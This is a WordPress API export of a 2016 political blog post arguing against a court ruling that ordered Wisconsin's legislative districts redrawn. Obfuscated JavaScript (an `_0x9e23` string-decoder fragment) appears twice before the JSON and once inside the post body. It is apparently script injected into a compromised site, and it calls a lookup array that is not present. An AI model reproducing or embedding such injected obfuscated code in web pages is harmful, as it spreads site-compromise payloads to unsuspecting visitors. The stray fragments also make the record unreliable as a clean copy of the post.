<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":3331,"date":"2016-12-01T15:54:28","date_gmt":"2016-12-01T22:54:28","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=3331"},"modified":"2016-12-01T18:12:35","modified_gmt":"2016-12-02T01:12:35","slug":"by-any-means-possible","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=3331","title":{"rendered":"By Any Means Possible"},"content":{"rendered":"<p><img decoding=\"async\" loading=\"lazy\" class=\"alignleft \" src=\"http:\/\/www.jsharf.com\/images\/viewPostHeaders\/WisconsinSolidarity.jpg\" alt=\"\" width=\"208\" height=\"208\" \/>Looking at a map of where the Democrats are in the majority,\u00a0the fashionable conclusion is that their party is now a regional one, hugging the coasts. \u00a0In fact, they&#8217;re barely even that. \u00a0One-third of all Democratic Congressmen come from just three states &#8211; California, New York, and Massachusetts. \u00a0So when the party chose Chuck Schumer (NY) and Nancy Pelosi (CA) to lead it in the Senate and House, they were just being true to the current shrunken geography. \u00a0They may represent the party&#8217;s ideology, but there also just weren&#8217;t that many states to choose from.<\/p>\n<p>One state where leftists have been feeling the pinch is Wisconsin, home of the progressive movement. \u00a0Democrats have seen their share of the state legislature wither to 13 of 33 Senate seats, and 35 of 99 House seats.<\/p>\n<p>So off they went to court. \u00a0In the past, federal courts have generally struck down some forms of gerrymandering designed to dilute voting power based on race. \u00a0While the Supreme Court held open the idea that partisan gerrymandering, it had never found a practical yardstick that it approved of, and so the issue lay where it had lain since the beginning of the Republic.<\/p>\n<p>However, in 2016 The Year of the Unprecedented, Democrats\u00a0have managed to win an unprecedented victory. \u00a0A federal court has <a href=\"https:\/\/www.washingtonpost.com\/politics\/courts_law\/wisconsin-legislative-map-ruled-illegally-partisan-case-will-go-to-supreme-court\/2016\/11\/21\/430d8fdc-b02d-11e6-840f-e3ebab6bcdd3_story.html\" target=\"_blank\">ordered the state&#8217;s legislative lines redrawn<\/a>. \u00a0The court thinks it has found a Judicial Sabrmetric measure that allows it to definitively state that partisan gerrymandering violates freedom of association. \u00a0The argument is roughly that votes in excess of what&#8217;s needed to win are &#8220;wasted&#8221; votes. \u00a0If the losing side has substantially more wasted votes than the winning side, then it will win disproportionately fewer seats than its vote total suggests that it &#8220;should&#8221; have.<\/p>\n<p>The logic of the argument escapes me. \u00a0Parties are voluntary associations, created for the purpose of attaining elected office. \u00a0(Or in the case of Libertarians, for debating certain ideas.) \u00a0Nobody is preventing anyone from freely associating, and there is no &#8220;right&#8221; for a party to be elected to any given office.<\/p>\n<p>Moreover, sometimes, a party simply becomes so weak in a jurisdiction that even with the best districting, there&#8217;s simply not way to guarantee it\u00a0<em>any<\/em> seats. \u00a0For example, in Hawaii&#8217;s State Senate, there are currently 25 Democrats and zero Republicans. \u00a0None, nada, zilch. \u00a0 And yet Republican candidates surely received votes. \u00a0Should the state be required to draw a district in order to guarantee at least some Republican seats? \u00a0Of course not.<\/p>\n<p>But for the moment, at least in Wisconsin, the law is that Republicans aren&#8217;t allowed to win by too much. \u00a0So let&#8217;s look at some of the inputs and implications.<\/p>\n<p><strong>Wisconsin&#8217;s Own History<\/strong><\/p>\n<p>The state has historically leaned left, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Political_party_strength_in_Wisconsin\" target=\"_blank\">but has never been as monolithically Democrat<\/a> as its reputation might have it. \u00a0Indeed, back in the 20s &#8211; 40s, the Democratic Party there was all but extinct. \u00a0As late as 1948, Republicans controlled 27 of 33 State Senate seats, and 92(!) of 100 House seats.<\/p>\n<p>The pendulum started to swing back, and the 1958 elections proved to be a watershed. \u00a0Republicans went from a supermajority in the House to a minority, and virtually all of the statewide offices went to Democrats. \u00a0<em>Note that this happened with the same districts that, in 1956, had give Republicans 2\/3 of the State House. \u00a0<\/em>The party reached its high-water mark in the early 80s, with supermajorities in both the State House and State Senate, but since then &#8211; 35 years ago &#8211; the state has been swinging back to Republicans.<\/p>\n<p>Naturally, the Democrats blame this weakness on redistricting and gerrymandering, rather than natural party swings and their own misreading of the state&#8217;s politics. \u00a0Such gerrymandering doesn&#8217;t explain Scott Walker winning three statewide elections, a conservative winning a state Supreme Court election, or the election and re-election of Sen. Ron Johnson, but then Democrats have never been one to let logic interfere with a good power-grab.<\/p>\n<p><strong>Gerrymandering is Self-Limiting<\/strong><\/p>\n<p>There&#8217;s a vast literature on drawing legislative districts, but ultimately, a party with control of the process is confronted with two choices &#8211; it can either pack its opponents into a few districts, or spread them out.<\/p>\n<p>By packing them in, the majority party is seeking to limit the number of competitive districts, and ensure a smaller, but more durable majority. \u00a0Many districts will be uncompetitive, a few will be swing districts. \u00a0If the majority is small enough, then it might lose control in a bad year, but will retain control in most years.<\/p>\n<p>By spreading them out, the majority party will be in front in more districts, but those majorities will be smaller. \u00a0So in a normal year, they&#8217;ll have broader control of the legislature, possibly a supermajority, but they risk losing many districts in a wave year. \u00a0That&#8217;s what happened to Republicans in the 1958 Wisconsin elections.<\/p>\n<p>Parties who are clinging to small majorities may\u00a0find that there just aren&#8217;t enough districts to go around to try the first option, so they choose the second, writing themselves small majorities in many districts, and counting on the power of incumbency to see them through.<\/p>\n<p>The Democrats have done poorly in the 2014 and 2016 legislative elections in Wisconsin, and their argument is predicated on the idea that they&#8217;ll never be able to claw their way back to competitiveness. \u00a0But while gerrymandering helps, it can&#8217;t overcome long-term secular trends.<\/p>\n<p>For decades, nay generations, Democrats gerrymandered districts to their advantage. \u00a0In response, Republicans began a\u00a0long-term, multi-decade effort to squeeze the Democrats from the bottom-up. \u00a0Their in state legislatures are the result of that.\u00a0 \u00a0The change from 1980 is stunning, and began in earnest in 1994:<\/p>\n<p><script type='text\/javascript' src='https:\/\/public.tableausoftware.com\/javascripts\/api\/viz_v1.js'><\/script><\/p>\n<div class=\"tableauPlaceholder\" style=\"width: 642px; height: 330px;\"><noscript>&amp;amp;lt;a href=&#8217;#&#8217;&amp;amp;gt;&amp;amp;lt;img alt=&#8217; &#8216; src=&#8217;https:&amp;amp;amp;#47;&amp;amp;amp;#47;public.tableausoftware.com&amp;amp;amp;#47;static&amp;amp;amp;#47;images&amp;amp;amp;#47;8T&amp;amp;amp;#47;8TJ62KSX2&amp;amp;amp;#47;1_rss.png&#8217; style=&#8217;border: none&#8217; \/&amp;amp;gt;&amp;amp;lt;\/a&amp;amp;gt;<\/noscript><object class=\"tableauViz\" style=\"display: none;\" width=\"642\" height=\"330\"><param name=\"host_url\" value=\"https%3A%2F%2Fpublic.tableausoftware.com%2F\" \/><param name=\"path\" value=\"shared\/8TJ62KSX2\" \/><param name=\"toolbar\" value=\"yes\" \/><param name=\"static_image\" value=\"https:\/\/public.tableausoftware.com\/static\/images\/8T\/8TJ62KSX2\/1.png\" \/><param name=\"animate_transition\" value=\"yes\" \/><param name=\"display_static_image\" value=\"yes\" \/><param name=\"display_spinner\" value=\"yes\" \/><param name=\"display_overlay\" value=\"yes\" \/><param name=\"display_count\" value=\"yes\" \/><param name=\"showVizHome\" value=\"no\" \/><\/object><\/div>\n<div style=\"width: 642px; height: 22px; padding: 0px 10px 0px 0px; color: black; font: normal 8pt verdana,helvetica,arial,sans-serif;\">\n<div style=\"float: right; padding-right: 8px;\"><a href=\"http:\/\/www.tableausoftware.com\/public\/about-tableau-products?ref=https:\/\/public.tableausoftware.com\/shared\/8TJ62KSX2\" target=\"_blank\">Learn About Tableau<\/a><\/div>\n<\/div>\n<p><strong>Perverse Outcomes<\/strong><\/p>\n<p>I mentioned above that there are two broad ways of gerrymandering &#8211; write in small but secure legislative majorities, with a few competitive districts, or write in a greater number of competitive districts, with some majority in each.<\/p>\n<p>The ruling would seem to favor the first option over the second. \u00a0If the metric is that each party has a proportional number of &#8220;extra votes,&#8221; a party will have an incentive to make as many districts as lopsided as possible, giving themselves small but secure majorities. \u00a0The net result is liable to be\u00a0<em>less<\/em> competitive elections, with efforts concentrated in a few districts. \u00a0The vast majority of residents would live in uncompetitive districts.<\/p>\n<p>This would seem on the face of it to contradict the ruling&#8217;s logic. \u00a0While the point of gerrymandering is legislative control, the point of an individual election is the selection of an individual legislator. \u00a0The majority party would have\u00a0an incentive to make sure that in the vast majority of those districts, at least one party never had a reasonable shot at getting elected. \u00a0To the degree that gerrymanding contradicts freedom of association (and again, I don&#8217;t follow the logic there), this result would compound the problem, not ameliorate it.<\/p>\n<p><strong>Consequences for Open Primaries<\/strong><\/p>\n<p>The court is agreeing with the plaintiffs&#8217; argument that unfair district lines are an attack on freedom of association. \u00a0So be it.<\/p>\n<p>Colorado just passed a law imposing a presidential primary, and another law requiring that unaffiliated voters be allowed to vote in one party&#8217;s primary. \u00a0How then are state laws that determine how parties&#8217; nominees are chosen\u00a0<em>not<\/em> such an infringement? \u00a0If a party chooses to have a primary, or a caucus, or an open primary, why is that not the party&#8217;s business? \u00a0If this ruling stands, it&#8217;s almost impossible to see how an inherently political process that affects a party&#8217;s ability to win can be an infringement on free association, while a state diktat on how a party chooses its nominees isn&#8217;t.<\/p>\n<p><strong>Too Bad &#8211; Go Win<\/strong><\/p>\n<p>Democrats are (or were, in 2009) fond saying that elections have consequences. \u00a0Unless they&#8217;re won by Republicans, especially in years ending in 0. \u00a0At one level, they&#8217;re right to be concerned. \u00a0The Democrats find themselves where the Republicans were for a long time &#8211; a regional party, and a minority party at every level, with only the White House in grasp.<\/p>\n<p>They&#8217;ve never been shy about using judicial and administrative tools to achieve policy ends, but at this point, those are the only tools in the toolbag. \u00a0The public has soundly rejected the social activism and, to a lesser extent, the regulatory manipulation that is the Democrats&#8217; current stock in trade. \u00a0Should it continue to see its desires frustrated, things could get even uglier for the Democrats and for the country.<\/p>\n<p>And electorally, the Republicans have been squeezing out the Democrats&#8217; bench for decades now. \u00a0Not only are Pelosi and Schumer bicoastal, they&#8217;re old. \u00a0The only areas outside of the coasts producing new Democratic talent are the cities, which have been trending blue for a while. \u00a0If the Democrats have to rebuild everywhere else, the Republicans may have a very difficult time rebuilding there. \u00a0Count on them to try, though.<\/p>\n<p>Rebuilding the party isn&#8217;t the work of one cycle, or of winning the White House, no matter how dangerously concentrated power has become. \u00a0The last two Democratic presidents have been terrible for the party.<\/p>\n<p>If Democrats want to win again, they need to figure out how to win, not look to the courts to save them from their own disconnect from the people whose votes they&#8217;re trying to earn.<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Looking at a map of where the Democrats are in the majority,\u00a0the fashionable conclusion is that their party is now a regional one, hugging the coasts. \u00a0In fact, they&#8217;re barely even that. \u00a0One-third of all Democratic Congressmen come from just three states &#8211; California, New York, and Massachusetts. \u00a0So when the party chose Chuck Schumer [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[23],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3331"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3331"}],"version-history":[{"count":6,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3331\/revisions"}],"predecessor-version":[{"id":3337,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3331\/revisions\/3337"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3331"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}